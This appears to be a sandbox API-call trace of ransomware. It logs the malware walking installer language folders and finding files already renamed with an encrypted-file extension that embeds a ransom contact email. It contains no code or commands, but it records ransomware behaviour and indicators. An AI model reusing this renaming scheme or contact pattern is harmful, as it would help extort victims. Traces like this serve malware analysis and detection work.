	[0160.347] FindNextFileW (in: hFindFile=0x76ebe8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35c0320c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35c0320c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35d5a8f2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.347] FindNextFileW (in: hFindFile=0x76ebe8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35c0320c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35c0320c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35d5a8f2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.347] FindClose (in: hFindFile=0x76ebe8 | out: hFindFile=0x76ebe8) returned 1
	[0160.348] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.348] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x35292f5e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35292f5e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0160.348] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.348] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x35292f5e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35292f5e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e9a8
	[0160.349] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x35292f5e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35292f5e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.349] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3526cd17, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3526cd17, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3526cd17, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.349] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3526cd17, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3526cd17, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35292f5e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.349] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35d0e283, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35d0e283, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35eb493b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.349] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35d0e283, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35d0e283, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35eb493b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.349] FindClose (in: hFindFile=0x76e9a8 | out: hFindFile=0x76e9a8) returned 1
	[0160.350] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.350] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x352df357, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0160.350] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.350] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x352df357, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eae8
	[0160.351] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x352df357, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.351] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3526cd17, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3526cd17, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.351] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352b90fa, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x352b90fa, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352b90fa, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.351] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e6585c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e6585c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35e8ba73, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.351] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e6585c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e6585c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35e8ba73, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.351] FindClose (in: hFindFile=0x76eae8 | out: hFindFile=0x76eae8) returned 1
	[0160.352] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.352] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x354dbe7a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x354dbe7a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0160.352] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.352] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x354dbe7a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x354dbe7a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eb68
	[0160.353] FindNextFileW (in: hFindFile=0x76eb68, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x354dbe7a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x354dbe7a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.353] FindNextFileW (in: hFindFile=0x76eb68, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352b90fa, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x352b90fa, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.353] FindNextFileW (in: hFindFile=0x76eb68, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35436895, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35436895, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x354dbe7a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.353] FindNextFileW (in: hFindFile=0x76eb68, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e8ba73, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e8ba73, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35ed7fca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.353] FindNextFileW (in: hFindFile=0x76eb68, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e8ba73, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e8ba73, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35ed7fca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.353] FindClose (in: hFindFile=0x76eb68 | out: hFindFile=0x76eb68) returned 1
	[0160.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.354] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3560d8e3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3560d8e3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0160.354] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.354] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3560d8e3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3560d8e3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0160.355] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3560d8e3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3560d8e3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.355] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352df357, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x352df357, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357fd1e9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.355] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3560d8e3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3560d8e3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35764995, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.355] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35ed7fca, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35ed7fca, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3602f3cd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.355] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35ed7fca, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35ed7fca, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3602f3cd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.356] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0160.482] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.482] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x35502444, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35502444, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0160.482] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.482] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x35502444, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35502444, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eca8
	[0160.483] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x35502444, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35502444, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.483] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352df357, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x352df357, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35436895, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.483] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35436895, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35436895, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35502444, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.483] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35f01773, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35f01773, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3600916a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.483] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35f01773, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35f01773, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3600916a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.483] FindClose (in: hFindFile=0x76eca8 | out: hFindFile=0x76eca8) returned 1
	[0160.484] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.484] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3565995e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3565995e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0160.484] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.484] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3565995e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3565995e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e928
	[0160.485] FindNextFileW (in: hFindFile=0x76e928, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3565995e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3565995e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.485] FindNextFileW (in: hFindFile=0x76e928, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35502444, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35502444, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x356336ab, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
